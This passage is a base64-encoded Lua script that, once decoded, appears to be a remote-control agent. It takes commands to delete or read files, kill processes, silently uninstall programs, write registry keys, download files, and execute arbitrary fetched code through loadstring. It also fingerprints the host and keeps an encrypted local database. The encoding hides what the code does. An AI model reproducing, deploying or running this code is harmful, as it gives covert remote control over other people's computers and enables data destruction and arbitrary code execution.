ZWxldGUidGhlbgppZiBEZWxldGVGaWxlKGEpdGhlbgplWyJyZXN1bHQiXT0iZmlsZSBkZWxldGVk
IjsKdC5kZWJ1ZyhzdHJpbmcuZm9ybWF0KCJEZWxldGVkICVzIHN1Y2Nlc3NmdWxseSIsYSkpOwpl
bmQKZWxzZWlmIGVbInR4dFdoYXRUaGVuIl09PSJSZWFkInRoZW4KY29udGVudHM9dC5yZWFkZmls
ZShhKTsKaWYgY29udGVudHMgdGhlbgppZiBlWyJ0eHRXaGF0RWxzZSJdPT0iYXMgUHJvY2Vzc2xp
c3QidGhlbgpsaW5lcz10LnNwbGl0KGNvbnRlbnRzLCJcclxuIik7CmRhdGE9e30KZm9yIG8sYSBp
biBpcGFpcnMobGluZXMpZG8KY3N2PXQuc3BsaXQoYSwiLCIpOwppZiBjc3ZbM110aGVuCmRhdGE9
c3RyaW5nLmZvcm1hdCgneyJuYW1lIjolcywidHlwZSI6JXN9Jyxjc3ZbMV0sY3N2WzNdKTsKZVsi
cmVzdWx0Il09KGVbInJlc3VsdCJdKWFuZCBlWyJyZXN1bHQiXS4uIiwiLi5kYXRhIG9yIGRhdGE7
CmVuZAplbmQKZW5kCmVuZAppZiBub3QgZVsicmVzdWx0Il10aGVuCmVbInJlc3VsdCJdPSJlcnJv
ciByZWFkaW5nIGZpbGUiCmVsc2UKZVsicmVzdWx0Il09IlsiLi5lWyJyZXN1bHQiXS4uIl0iOwpl
bmQKZW5kCm89dHJ1ZTsKZVsic3RhdHVzIl09IjEiOwplWyJkYXRlIl09b3MudGltZSgpOwplbHNl
aWYgZVsidHh0ZG8iXT09IlRlcm1pbmF0ZSJ0aGVuCmlmIElzUHJvY2Vzc1J1bm5pbmcoYSx0cnVl
KXRoZW4KdC5kZWJ1ZygiVGVybWluYXRpbmc6ICIuLmEpOwplWyJyZXN1bHQiXT0iMSI7CmVsc2UK
dC5kZWJ1ZygiRmFpbGVkIHRvIFRlcm1pbmF0ZTogIi4uYSk7CmVbInJlc3VsdCJdPSIwIjsKZW5k
Cm89dHJ1ZTsKZVsic3RhdHVzIl09IjEiOwplWyJkYXRlIl09b3MudGltZSgpOwplbHNlaWYgZVsi
dHh0ZG8iXT09IlVuaW5zdGFsbCJ0aGVuCmxvY2FsIG89e307Cm9bMV09IlNPRlRXQVJFXFxXb3c2
NDMyTm9kZVxcTWljcm9zb2Z0XFxXaW5kb3dzXFxDdXJyZW50VmVyc2lvblxcVW5pbnN0YWxsIjsK
b1syXT0iU09GVFdBUkVcXE1pY3Jvc29mdFxcV2luZG93c1xcQ3VycmVudFZlcnNpb25cXFVuaW5z
dGFsbCI7CmVbInJlc3VsdCJdPSIwIjsKZm9yIG8saSBpbiBwYWlycyhvKWRvCmxvY2FsIG89UmVn
RW51bUtleUV4KHczMlsiSEtFWV9MT0NBTF9NQUNISU5FIl0saSk7CmlmIHR5cGUobyk9PSJ0YWJs
ZSJ0aGVuCmZvciBvLG4gaW4gcGFpcnMobylkbwpsb2NhbCBvPVJlZ0VudW1WYWx1ZSh3MzJbIkhL
RVlfTE9DQUxfTUFDSElORSJdLGkuLiJcXCIuLm4pOwppZiB0eXBlKG8pPT0idGFibGUidGhlbgpm
b3IgcyxvIGluIHBhaXJzKG8pZG8KaWYgbz09IkRpc3BsYXlOYW1lInRoZW4KbG9jYWwgbz1SZWdR
dWVyeVZhbHVlRXgodzMyWyJIS0VZX0xPQ0FMX01BQ0hJTkUiXSxpLi4iXFwiLi5uLG8pOwppZiBz
dHJpbmcuZmluZChvLGEpdGhlbgpvPVJlZ1F1ZXJ5VmFsdWVFeCh3MzJbIkhLRVlfTE9DQUxfTUFD
SElORSJdLGkuLiJcXCIuLm4sIlVuaW5zdGFsbFN0cmluZyIpOwppZiBlWyJ0eHRXaGF0VGhlbiJd
fj1uaWwgdGhlbgpsb2NhbCBlPXN0cmluZy5mb3JtYXQoIiVzICVzIix0cmltKG8pLGVbInR4dFdo
YXRUaGVuIl0pOwpvPWU7CmVuZAp0LmRlYnVnKCJVbmluc3RhbGxpbmc6ICIuLm8pOwp0LmV4ZWN1
dGUobyx0cnVlKTsKZVsicmVzdWx0Il09IjEiOwpicmVhazsKZW5kCmVuZAplbmQKZW5kCmVuZApl
bmQKZW5kCmVbInN0YXR1cyJdPSIxIjsKZVsiZGF0ZSJdPW9zLnRpbWUoKTsKZWxzZWlmIGVbInR4
dGRvIl09PSJXYWl0InRoZW4KbG9jYWwgYT10b251bWJlcihhKTsKaWYgYT09bmlsIHRoZW4KYT0x
MDsKZW5kCmVbInR4dFdoYXQiXT1hOwplWyJyZXN1bHQiXT0oZVsicmVzdWx0Il09PW5pbCBvciBl
WyJyZXN1bHQiXT09IiIpYW5kIG9zLnRpbWUoKW9yIGVbInJlc3VsdCJdOwppZiBlWyJ0eHRXaGF0
VGhlbiJdPT0iTWludXRlcyJ0aGVuCmE9YSo2MDsKZWxzZWlmIGVbInR4dFdoYXRUaGVuIl09PSJI
b3VycyJ0aGVuCmE9YSozNjAwOwplbHNlaWYgZVsidHh0V2hhdFRoZW4iXT09IkRheXMidGhlbgph
PWEqODY0MDA7CmVsc2UKaWYgYTwzMCB0aGVuCnQuZGVidWcoc3RyaW5nLmZvcm1hdCgiV2FpdGlu
ZzogJXMiLGEpKTsKaWYgU2xlZXAgdGhlbgpTbGVlcCgoYSsxKSoxZTMpOwplbHNlCnQuc2xlZXAo
KGErMSkqMWUzKTsKZW5kCmVuZAplbmQKbG9jYWwgaT1vcy50aW1lKCktdG9udW1iZXIoZVsicmVz
dWx0Il0pOwppZiBpPmEgdGhlbgplWyJzdGF0dXMiXT0iMSI7CmVbImRhdGUiXT1vcy50aW1lKCk7
Cm89dHJ1ZTsKZWxzZQp0LmRlYnVnKHN0cmluZy5mb3JtYXQoIldhaXRpbmcgJXMgd2l0aCAlcyBy
ZW1haW5pbmciLGEsKGEtaSkpKTsKZW5kCmVsc2VpZiBlWyJ0eHRkbyJdPT0iUGluZyJ0aGVuCmE9
YTpnc3ViKCIgIiwiKyIpOwppZiBlWyJ0eHRXaGF0VGhlbiJdPT0iUE9TVCJ0aGVuCmxvY2FsIGU9
c3RyaW5nLmZpbmQoYSwiPyIpOwppZiBlIHRoZW4KbG9jYWwgbz1hOnN1YihlKzEsI2EpOwphPWE6
c3ViKDEsZS0xKTsKdC5kZWJ1ZygiUGluZ2luZyAiLi5hLi4iIHdpdGg6ICIuLm8pOwpuPXMucmVx
dWVzdChhLG8pOwplbmQKZWxzZQp0LmRlYnVnKCJQaW5naW5nOiAiLi5hKTsKbj1zLnJlcXVlc3Qo
YSk7CmVuZApuPXRyaW0odG9zdHJpbmcobikpOwp0LmRlYnVnKCJQaW5nIHJlc3VsdDogIi4ubik7
Cm89dHJ1ZTsKZVsicmVzdWx0Il09bjsKZVsic3RhdHVzIl09IjEiOwplWyJkYXRlIl09b3MudGlt
ZSgpOwplbHNlaWYgZVsidHh0ZG8iXT09IlNlcnZpY2UidGhlbgpsb2NhbCB0PXQucXVlcnlzZXJ2
aWNlKGEsNCk7CmVbInJlc3VsdCJdPSIiOwppZiB0IHRoZW4KZVsicmVzdWx0Il09dDsKZW5kCm89
dHJ1ZTsKZVsic3RhdHVzIl09IjEiOwplWyJkYXRlIl09b3MudGltZSgpOwplbHNlaWYgZVsidHh0
ZG8iXT09IkRlYnVnInRoZW4KdC5kZWJ1ZyhhKTsKbz10cnVlOwplWyJzdGF0dXMiXT0iMCI7CmVb
ImRhdGUiXT1vcy50aW1lKCk7CmVsc2VpZiBlWyJ0eHRkbyJdPT0iRFhEaWFnInRoZW4KbG9jYWwg
YT10LmR4ZGlhZyhhLGVbInR4dFdoYXRUaGVuIl0pOwplWyJyZXN1bHQiXT0iIjsKaWYgYX49bmls
IHRoZW4KaWYgYVtzdHJpbmcubG93ZXIoZVsidHh0V2hhdEVsc2UiXSldfj1uaWwgdGhlbgplWyJy
ZXN1bHQiXT1hW3N0cmluZy5sb3dlcihlWyJ0eHRXaGF0RWxzZSJdKV07CnQuZGVidWcoc3RyaW5n
LmZvcm1hdCgiRFhEaWFnIFJlc3VsdDogJXMiLGVbInJlc3VsdCJdKSk7CmVuZAplbmQKbz10cnVl
OwplWyJzdGF0dXMiXT0iMSI7CmVbImRhdGUiXT1vcy50aW1lKCk7CmVsc2VpZiBlWyJ0eHRkbyJd
PT0iRG93bmxvYWQidGhlbgpsb2NhbCBpPXQuY3VzdG9tcyhlWyJ0eHRXaGF0VGhlbiJdKTsKaWYg
aX49IiJ0aGVuCmxvY2FsIG49dC5maWxlcGFydHMoaSk7CmlmIG5+PW5pbCB0aGVuCkNyZWF0ZURp
cmVjdG9yeShuKTsKZW5kCnQuZGVidWcoc3RyaW5nLmZvcm1hdCgiRG93bmxvYWQgJXMgdG8gJXMi
LGEsaSkpOwplWyJzdGF0dXMiXT0iMSI7CmlmIHQuZ2V0YnlodHRwKGEsaSl0aGVuCnQuZGVidWco
c3RyaW5nLmZvcm1hdCgiRG93bmxvYWQgb2YgJXMgc3VjY2Vzc2Z1bCIsYSkpOwpvPXRydWU7CmVb
ImRhdGUiXT1vcy50aW1lKCk7CmVbInJlc3VsdCJdPSIxIjsKZWxzZQplWyJyZXN1bHQiXT0iMCI7
CnQuZGVidWcoc3RyaW5nLmZvcm1hdCgiRG93bmxvYWQgb2YgJXMgdW5zdWNjZXNzZnVsIixhKSk7
CmVuZAplbHNlCmxvY2FsIGksbj10LmdldGJ5aHR0cChhKTsKaWYgaSB0aGVuCnQuZGVidWcoc3Ry
aW5nLmZvcm1hdCgiRG93bmxvYWQgb2YgJXMgdG8gbWVtb3J5IHN1Y2Nlc3NmdWwiLGEpKTsKbz10
cnVlOwplWyJkYXRlIl09b3MudGltZSgpOwplWyJyZXN1bHQiXT1uOwplWyJzdGF0dXMiXT0iMSI7
CmVuZAplbmQKZWxzZWlmIGVbInR4dGRvIl09PSJEaXJlY3RvcnkidGhlbgppZiBDcmVhdGVEaXJl
Y3RvcnkoYSl+PTAgdGhlbgplWyJyZXN1bHQiXT0iMCI7CnQuZGVidWcoc3RyaW5nLmZvcm1hdCgi
RGlyZWN0b3J5ICVzIGNyZWF0ZWQgc3VjY2Vzc2Z1bGx5IixhKSk7CmVsc2UKZVsicmVzdWx0Il09
R2V0TGFzdEVycm9yKCk7CnQuZGVidWcoc3RyaW5nLmZvcm1hdCgiRGlyZWN0b3J5ICVzIGNyZWF0
ZWQgdW5zdWNjZXNzZnVsbHkgKCVzKSIsYSxHZXRMYXN0RXJyb3IoKSkpOwplbmQKbz10cnVlOwpl
WyJzdGF0dXMiXT0iMSI7CmVbImRhdGUiXT1vcy50aW1lKCk7CmVsc2VpZiBlWyJ0eHRkbyJdPT0i
RGVsZXRlIEZpbGUidGhlbgp0LmRlYnVnKHN0cmluZy5mb3JtYXQoIkF0dGVtcHRpbmcgdG8gZGVs
ZXRlICVzIixhKSk7CmlmIERlbGV0ZUZpbGUoYSl0aGVuCmVbInJlc3VsdCJdPSIxIjsKdC5kZWJ1
ZyhzdHJpbmcuZm9ybWF0KCJEZWxldGVkICVzIHN1Y2Nlc3NmdWxseSIsYSkpOwplbHNlCmVbInJl
c3VsdCJdPSIwIjsKdC5kZWJ1ZyhzdHJpbmcuZm9ybWF0KCJEZWxldGVkICVzIHVuc3VjY2Vzc2Z1
bGx5IixhKSk7CmVuZApvPXRydWU7CmVbInN0YXR1cyJdPSIxIjsKZVsiZGF0ZSJdPW9zLnRpbWUo
KTsKZWxzZWlmIGVbInR4dGRvIl09PSJSZWdpc3RyeSJ0aGVuCmxvY2FsIGk9dC5zcGxpdChhLCIs
Iik7CmVbInJlc3VsdCJdPSIwIjsKaWYgdzMyW2lbMV1dfj1uaWwgdGhlbgppZiBlWyJ0eHRXaGF0
VGhlbiJdPT0iV3JpdGUgVmFsdWUidGhlbgpsb2NhbCBvPShpWzRdPT0iZCIpYW5kIHRvbnVtYmVy
KGlbNV0pb3IgaVs1XTsKaWYgUmVnU2V0VmFsdWVFeCh3MzJbaVsxXV0saVsyXSxpWzNdLG8pdGhl
bgplWyJyZXN1bHQiXT0iMSI7CnQuZGVidWcoc3RyaW5nLmZvcm1hdCgiUmVnaXN0cnkgJXMgJXMg
PSAlcyBTdWNjZXNzIixlWyJ0eHRXaGF0VGhlbiJdLGEsbykpOwplbHNlCnQuZGVidWcoc3RyaW5n
LmZvcm1hdCgiUmVnaXN0cnkgJXMgJXMgPSAlcyBGYWlsdXJlIixlWyJ0eHRXaGF0VGhlbiJdLGEs
bykpOwplbmQKZWxzZWlmIGVbInR4dFdoYXRUaGVuIl09PSJRdWVyeSBWYWx1ZSJ0aGVuCmxvY2Fs
IG89UmVnUXVlcnlWYWx1ZUV4KHczMltpWzFdXSxpWzJdLGlbM10pOwppZiBvIHRoZW4KZVsicmVz
dWx0Il09bzsKdC5kZWJ1ZyhzdHJpbmcuZm9ybWF0KCJSZWdpc3RyeSBWYWx1ZTogJXMiLG8pKTsK
ZWxzZQp0LmRlYnVnKHN0cmluZy5mb3JtYXQoIlJlZ2lzdHJ5IEVycm9yICVzICVzICVzIixHZXRM
YXN0RXJyb3IoKSxlWyJ0eHRXaGF0VGhlbiJdLGEpKTsKZW5kCmVuZAplbHNlCnQuZGVidWcoc3Ry
aW5nLmZvcm1hdCgiUmVnaXN0cnkgRXJyb3IgJXMgJXMiLGVbInR4dFdoYXRUaGVuIl0sYSkpOwpl
bmQKbz10cnVlOwplWyJzdGF0dXMiXT0iMSI7CmVbImRhdGUiXT1vcy50aW1lKCk7CmVuZAplbmQK
aWYgZVsidHh0Y21kIl09PSJXaWxmb3JkInRoZW4KbG9jYWwgYT10LmN1c3RvbXMoZVsidHh0V2hh
dCJdKTsKaWYgZVsidHh0ZG8iXT09IlJ1biJ0aGVuCmxvY2FsIHQ9bG9hZHN0cmluZyhhKTsKaWYg
dHlwZSh0KT09ImZ1bmN0aW9uInRoZW4KZVsicmVzdWx0Il09dCgpOwplbmQKbz10cnVlOwplWyJz
dGF0dXMiXT0iMSI7CmVbImRhdGUiXT1vcy50aW1lKCk7CmVsc2VpZiBlWyJ0eHRkbyJdPT0iSW5j
bHVkZSJ0aGVuCmVbInJlc3VsdCJdPWE7Cm89dHJ1ZTsKZVsic3RhdHVzIl09IjEiOwplWyJkYXRl
Il09b3MudGltZSgpOwplbHNlCmVbInN0YXR1cyJdPSIwIjsKZW5kCmVuZApyZXR1cm4gZSxvOwpl
bmQKZnVuY3Rpb24gdC51c2VyZ3VpZCgpCmxvY2FsIGU9R2V0Vm9sdW1lSW5mb3JtYXRpb24oKTsK
bG9jYWwgYT1HZXRNQUNBZGRyZXNzKCk7CmxvY2FsIHQ9R2V0VGhlTWFjaGluZU5hbWUoKTsKbG9j
YWwgZT1HZXRNRDVTdHJpbmcoc3RyaW5nLmZvcm1hdCgiJXM6JXM6JXMiLHRvc3RyaW5nKGUpLHRv
c3RyaW5nKGEpLHRvc3RyaW5nKHQpKSk7CmlmIGU9PW5pbCB0aGVuCmU9R2V0TUQ1U3RyaW5nKEdl
dEN1cnJlbnRVc2VyU2lkKCkpOwplbmQKcmV0dXJuIHN0cmluZy5mb3JtYXQoIiVzLSVzLSVzLSVz
LSVzIixlOnN1YigxLDgpLGU6c3ViKDksMTIpLGU6c3ViKDEzLDE2KSxlOnN1YigxNywyMCksZTpz
dWIoMjEpKTsKZW5kCmZ1bmN0aW9uIHQuc2F2ZWRiKGUpCmU9KEVuY3J5cHQpYW5kIEVuY3J5cHQo
ZSwibGFxdWFuZGEgd2F0a2lucyIpb3IgdC5lbmNyeXB0KGUsImxhcXVhbmRhIHdhdGtpbnMiKTsK
aWYgU2V0Q29tbWFuZHN+PW5pbCB0aGVuClNldENvbW1hbmRzKGUpOwplbHNlCmxvY2FsIGE9KHcz
MiBhbmQgdzMyWyJDUkVBVEVfQUxXQVlTIl0pYW5kIHczMlsiQ1JFQVRFX0FMV0FZUyJdb3IgMDsK
aWYgRmluZEZpcnN0RmlsZSB0aGVuCmR3UmVzdWx0LHRGaWxlSW5mbz1GaW5kRmlyc3RGaWxlKHN0
cmluZy5mb3JtYXQoIiVzbHF3ZGIuZGF0Iix0LnRlbXBwYXRoKCkpKTsKaWYgZHdSZXN1bHR+PTAg
dGhlbgphPXczMlsiVFJVTkNBVEVfRVhJU1RJTkciXTsKRmluZENsb3NlKGR3UmVzdWx0KTsKZW5k
CmVuZApsb2NhbCBlPShlfj1uaWwpYW5kIHQud3JpdGVmaWxlKHN0cmluZy5mb3JtYXQoIiVzbHF3
ZGIuZGF0Iix0LnRlbXBwYXRoKCkpLGUsYSlvciAwOwppZiBlPjAgdGhlbgp0LmRlYnVnKCJMb2Nh
bCBEQiBXcml0dGVuOiAiLi5lKTsKZWxzZQpsb2NhbCBlPShHZXRMYXN0RXJyb3IpYW5kIEdldExh
c3RFcnJvcigpb3IiMCI7CnQuZGVidWcoIkxvY2FsIERCIE5vdCBXcml0dGVuOiAiLi5lKTsKZW5k
CmVuZAplbmQKZnVuY3Rpb24gdC5keGRpYWcoZSxuKQppZiBub3QgZSBvciBub3QgbiB0aGVuCnJl
dHVybiBuaWw7CmVuZApsb2NhbCBlPXQucmVhZGZpbGUoZSk7CmxvY2FsIGk9e307CmlmIGUgdGhl
bgpsaW5lcz10LnNwbGl0KGUsIlxyXG4iKTsKbG9jYWwgbz10cnVlOwpsb2NhbCB0PWZhbHNlOwps
b2NhbCBhPTA7CmZvciBzLGUgaW4gaXBhaXJzKGxpbmVzKWRvCmlmIG89PXRydWUgdGhlbgp0PXN0
cmluZy5maW5kKGUsbik7CmVsc2UKdD1mYWxzZTsKZW5kCmlmIHQgdGhlbgpvPWZhbHNlOwplbmQK
aWYgbz09ZmFsc2UgdGhlbgppZiBzdHJpbmcuZmluZChlLCIlLSUtJS0iKXRoZW4KYT1hKzE7Cmlm
IGE+MSB0aGVuCmJyZWFrOwplbmQKZWxzZQppZiBzdHJpbmcubGVuKGUpPjAgdGhlbgpsb2NhbCBv
PTA7CmxvY2FsIHQ9IiI7CmZvciBhPTEsI2UgZG8KaWYgZTpzdWIoYSxhKT09IjoidGhlbgpvPW8r
MTsKaWYgbz09MSB0aGVuCnQ9dC4uIjoiOwplbmQKZWxzZQp0PXQuLmU6c3ViKGEsYSk7CmVuZApl
bmQKZT10Owpmb3IgZSx0IGluIHN0cmluZy5nbWF0Y2goZSwiKC4rKTogKC4rKSIpZG8KaVtzdHJp
bmcubG93ZXIodHJpbShlKSldPXQ7CmVuZAplbmQKZW5kCmVuZAplbmQKZW5kCnJldHVybiBpOwpl
bmQKZnVuY3Rpb24gdC5lbmNyeXB0KG8saSkKbG9jYWwgdD0iIjsKaWYgaSBhbmQgbyB0aGVuCmxv
Y2FsIGE9bWF0aC5mbG9vcgpsb2NhbCBlPTA7CmZvciBuPTEsI28gZG8KZT0oZT4jaS0xKWFuZCAx
IG9yKGUrMSk7CmxvY2FsIG89c3RyaW5nLmJ5dGUobyxuKTsKbG9jYWwgZT1zdHJpbmcuYnl0ZShp
LGUpOwpsb2NhbCBpPTA7CmZvciBuPTAsMzEgZG8KbG9jYWwgdD1vLzIrZS8yCmlmIHR+PWEodCl0
aGVuCmk9aSsyXm4KZW5kCm89YShvLzIpCmU9YShlLzIpCmVuZAp0PXQuLnN0cmluZy5jaGFyKGkp
OwplbmQKZW5kCnJldHVybiB0OwplbmQKZnVuY3Rpb24gdC50cmltKGUpCnJldHVybiBlOm1hdGNo
J14lcyooLiolUyknb3InJwplbmQKZnVuY3Rpb24gdC5zbGVlcChlKQppZiB0eXBlKGUpPT0ibnVt
YmVyInRoZW4KZT0oZS8xZTMpOwplbmQKbG9jYWwgdD1vcy5jbG9jazsKbG9jYWwgYT10KCk7Cndo
aWxlIHQoKS1hPD1lIGRvCmVuZAplbmQKZnVuY3Rpb24gdC5uZXcoZSkKcmV0dXJuIHNldG1ldGF0
YWJsZSh7YXJncz1lIG9yIG5pbH0sZCk7CmVuZApyZXR1cm4gdDtlbmQpCnBhY2thZ2UucHJlbG9h
ZFsnc29ja2V0J109KGZ1bmN0aW9uKC4uLikKbG9jYWwgZT1fRwpsb2NhbCBoPXJlcXVpcmUoInN0
cmluZyIpCmxvY2FsIHM9cmVxdWlyZSgibWF0aCIpCmxvY2FsIGE9cmVxdWlyZSgic29ja2V0LmNv
cmUiKQptb2R1bGUoInNvY2tldCIpCmZ1bmN0aW9uIGNvbm5lY3QoaSxuLHQsbykKbG9jYWwgZSxh
PWEudGNwKCkKaWYgbm90IGUgdGhlbiByZXR1cm4gbmlsLGEgZW5kCmlmIHQgdGhlbgpsb2NhbCBl
LHQ9ZTpiaW5kKHQsbywtMSkKaWYgbm90IGUgdGhlbiByZXR1cm4gbmlsLHQgZW5kCmVuZApsb2Nh
bCB0LGE9ZTpjb25uZWN0KGksbikKaWYgbm90IHQgdGhlbiByZXR1cm4gbmlsLGEgZW5kCnJldHVy
biBlCmVuZApmdW5jdGlvbiBiaW5kKGksbixvKQpsb2NhbCBlLHQ9YS50Y3AoKQppZiBub3QgZSB0
aGVuIHJldHVybiBuaWwsdCBlbmQKZTpzZXRvcHRpb24oInJldXNlYWRkciIsdHJ1ZSkKbG9jYWwg
YSx0PWU6YmluZChpLG4pCmlmIG5vdCBhIHRoZW4gcmV0dXJuIG5pbCx0IGVuZAphLHQ9ZTpsaXN0
ZW4obykKaWYgbm90IGEgdGhlbiByZXR1cm4gbmlsLHQgZW5kCnJldHVybiBlCmVuZAp0cnk9bmV3
dHJ5KCkKZnVuY3Rpb24gY2hvb3NlKG8pCnJldHVybiBmdW5jdGlvbih0LGEsaSkKaWYgZS50eXBl
KHQpfj0ic3RyaW5nInRoZW4KdCxhLGk9ImRlZmF1bHQiLHQsYQplbmQKbG9jYWwgbz1vW3Qgb3Ii
bmlsIl0KaWYgbm90IG8gdGhlbiBlLmVycm9yKCJ1bmtub3duIGtleSAoIi4uZS50b3N0cmluZyh0
KS4uIikiLDMpCmVsc2UgcmV0dXJuIG8oYSxpKWVuZAplbmQKZW5kCnNvdXJjZXQ9e30Kc2lua3Q9
e30KQkxPQ0tTSVpFPTIwNDgKc2lua3RbImNsb3NlLXdoZW4tZG9uZSJdPWZ1bmN0aW9uKHQpCnJl
dHVybiBlLnNldG1ldGF0YWJsZSh7CmdldGZkPWZ1bmN0aW9uKClyZXR1cm4gdDpnZXRmZCgpZW5k
LApkaXJ0eT1mdW5jdGlvbigpcmV0dXJuIHQ6ZGlydHkoKWVuZAp9LHsKX19jYWxsPWZ1bmN0aW9u
KGEsZSxhKQppZiBub3QgZSB0aGVuCnQ6Y2xvc2UoKQpyZXR1cm4gMQplbHNlIHJldHVybiB0OnNl
bmQoZSllbmQKZW5kCn0pCmVuZApzaW5rdFsia2VlcC1vcGVuIl09ZnVuY3Rpb24odCkKcmV0dXJu
IGUuc2V0bWV0YXRhYmxlKHsKZ2V0ZmQ9ZnVuY3Rpb24oKXJldHVybiB0OmdldGZkKCllbmQsCmRp
cnR5PWZ1bmN0aW9uKClyZXR1cm4gdDpkaXJ0eSgpZW5kCn0sewpfX2NhbGw9ZnVuY3Rpb24oYSxl
LGEpCmlmIGUgdGhlbiByZXR1cm4gdDpzZW5kKGUpCmVsc2UgcmV0dXJuIDEgZW5kCmVuZAp9KQpl
bmQKc2lua3RbImRlZmF1bHQiXT1zaW5rdFsia2VlcC1vcGVuIl0Kc2luaz1jaG9vc2Uoc2lua3Qp
CnNvdXJjZXRbImJ5LWxlbmd0aCJdPWZ1bmN0aW9uKG8sdCkKcmV0dXJuIGUuc2V0bWV0YXRhYmxl
KHsKZ2V0ZmQ9ZnVuY3Rpb24oKXJldHVybiBvOmdldGZkKCllbmQsCmRpcnR5PWZ1bmN0aW9uKCly
ZXR1cm4gbzpkaXJ0eSgpZW5kCn0sewpfX2NhbGw9ZnVuY3Rpb24oKQppZiB0PD0wIHRoZW4gcmV0
dXJuIG5pbCBlbmQKbG9jYWwgZT1zLm1pbihhLkJMT0NLU0laRSx0KQpsb2NhbCBlLGE9bzpyZWNl
aXZlKGUpCmlmIGEgdGhlbiByZXR1cm4gbmlsLGEgZW5kCnQ9dC1oLmxlbihlKQpyZXR1cm4gZQpl
bmQKfSkKZW5kCnNvdXJjZXRbInVudGlsLWNsb3NlZCJdPWZ1bmN0aW9uKHQpCmxvY2FsIG8KcmV0
dXJuIGUuc2V0bWV0YXRhYmxlKHsKZ2V0ZmQ9ZnVuY3Rpb24oKXJldHVybiB0OmdldGZkKCllbmQs
CmRpcnR5PWZ1bmN0aW9uKClyZXR1cm4gdDpkaXJ0eSgpZW5kCn0sewpfX2NhbGw9ZnVuY3Rpb24o
KQppZiBvIHRoZW4gcmV0dXJuIG5pbCBlbmQKbG9jYWwgaSxlLGE9dDpyZWNlaXZlKGEuQkxPQ0tT
SVpFKQppZiBub3QgZSB0aGVuIHJldHVybiBpCmVsc2VpZiBlPT0iY2xvc2VkInRoZW4KdDpjbG9z
ZSgpCm89MQpyZXR1cm4gYQplbHNlIHJldHVybiBuaWwsZSBlbmQKZW5kCn0pCmVuZApzb3VyY2V0
WyJkZWZhdWx0Il09c291cmNldFsidW50aWwtY2xvc2VkIl0Kc291cmNlPWNob29zZShzb3VyY2V0
KQplbmQpCnBhY2thZ2UucHJlbG9hZFsnc29ja2V0LnVybCddPShmdW5jdGlvbiguLi4pCmxvY2Fs
IGU9cmVxdWlyZSgic3RyaW5nIikKbG9jYWwgbz1fRwpsb2NhbCBpPXJlcXVpcmUoInRhYmxlIikK
bW9kdWxlKCJzb2NrZXQudXJsIikKX1ZFUlNJT049IlVSTCAxLjAuMSIKZnVuY3Rpb24gZXNjYXBl
KHQpCnJldHVybiBlLmdzdWIodCwiKFteQS1aYS16MC05X10pIixmdW5jdGlvbih0KQpyZXR1cm4g
ZS5mb3JtYXQoIiUlJTAyeCIsZS5ieXRlKHQpKQplbmQpCmVuZApsb2NhbCBmdW5jdGlvbiBuKGUp
CmxvY2FsIHQ9e30KZm9yIGEsbyBpbiBvLmlwYWlycyhlKWRvCnRbZVthXV09MQplbmQKcmV0dXJu
IHQKZW5kCmxvY2FsIGE9bnsKIi0iLCJfIiwiLiIsIiEiLCJ+IiwiKiIsIiciLCIoIiwKIikiLCI6
IiwiQCIsIiYiLCI9IiwiKyIsIiQiLCIsIiwKfQpsb2NhbCBmdW5jdGlvbiBuKHQpCnJldHVybiBl
LmdzdWIodCwiKFteQS1aYS16MC05X10pIixmdW5jdGlvbih0KQppZiBhW3RddGhlbiByZXR1cm4g
dAplbHNlIHJldHVybiBlLmZvcm1hdCgiJSUlMDJ4IixlLmJ5dGUodCkpZW5kCmVuZCkKZW5kCmZ1
bmN0aW9uIHVuZXNjYXBlKHQpCnJldHVybiBlLmdzdWIodCwiJSUoJXgleCkiLGZ1bmN0aW9uKHQp
CnJldHVybiBlLmNoYXIoby50b251bWJlcih0LDE2KSkKZW5kKQplbmQKbG9jYWwgZnVuY3Rpb24g
cyh0LGEpCmlmIGUuc3ViKGEsMSwxKT09Ii8idGhlbiByZXR1cm4gYSBlbmQKbG9jYWwgdD1lLmdz
dWIodCwiW14vXSokIiwiIikKdD10Li5hCnQ9ZS5nc3ViKHQsIihbXi9dKiUuLykiLGZ1bmN0aW9u
KGUpCmlmIGV+PSIuLyJ0aGVuIHJldHVybiBlIGVsc2UgcmV0dXJuIiJlbmQKZW5kKQp0PWUuZ3N1
Yih0LCIvJS4kIiwiLyIpCmxvY2FsIGEKd2hpbGUgYX49dCBkbwphPXQKdD1lLmdzdWIoYSwiKFte
L10qLyUuJS4vKSIsZnVuY3Rpb24oZSkKaWYgZX49Ii4uLy4uLyJ0aGVuIHJldHVybiIiZWxzZSBy
ZXR1cm4gZSBlbmQKZW5kKQplbmQKdD1lLmdzdWIoYSwiKFteL10qLyUuJS4pJCIsZnVuY3Rpb24o
ZSkKaWYgZX49Ii4uLy4uInRoZW4gcmV0dXJuIiJlbHNlIHJldHVybiBlIGVuZAplbmQpCnJldHVy
biB0CmVuZApmdW5jdGlvbiBwYXJzZShhLGkpCmxvY2FsIHQ9e30KZm9yIGUsYSBpbiBvLnBhaXJz
KGkgb3IgdClkbyB0W2VdPWEgZW5kCmlmIG5vdCBhIG9yIGE9PSIidGhlbiByZXR1cm4gbmlsLCJp
bnZhbGlkIHVybCJlbmQKYT1lLmdzdWIoYSwiIyguKikkIixmdW5jdGlvbihlKQp0LmZyYWdtZW50
PWUKcmV0dXJuIiIKZW5kKQphPWUuZ3N1YihhLCJeKFsld11bJXclKyUtJS5dKiklOiIsCmZ1bmN0
aW9uKGUpdC5zY2hlbWU9ZTtyZXR1cm4iImVuZCkKYT1lLmdzdWIoYSwiXi8vKFteL10qKSIsZnVu
Y3Rpb24oZSkKdC5hdXRob3JpdHk9ZQpyZXR1cm4iIgplbmQpCmE9ZS5nc3ViKGEsIiU/KC4qKSIs
ZnVuY3Rpb24oZSkKdC5xdWVyeT1lCnJldHVybiIiCmVuZCkKYT1lLmdzdWIoYSwiJTsoLiopIixm
dW5jdGlvbihlKQp0LnBhcmFtcz1lCnJldHVybiIiCmVuZCkKaWYgYX49IiJ0aGVuIHQucGF0aD1h
IGVuZApsb2NhbCBhPXQuYXV0aG9yaXR5CmlmIG5vdCBhIHRoZW4gcmV0dXJuIHQgZW5kCmE9ZS5n
c3ViKGEsIl4oW15AXSopQCIsCmZ1bmN0aW9uKGUpdC51c2VyaW5mbz1lO3JldHVybiIiZW5kKQph
PWUuZ3N1YihhLCI6KFteOl0qKSQiLApmdW5jdGlvbihlKXQucG9ydD1lO3JldHVybiIiZW5kKQpp
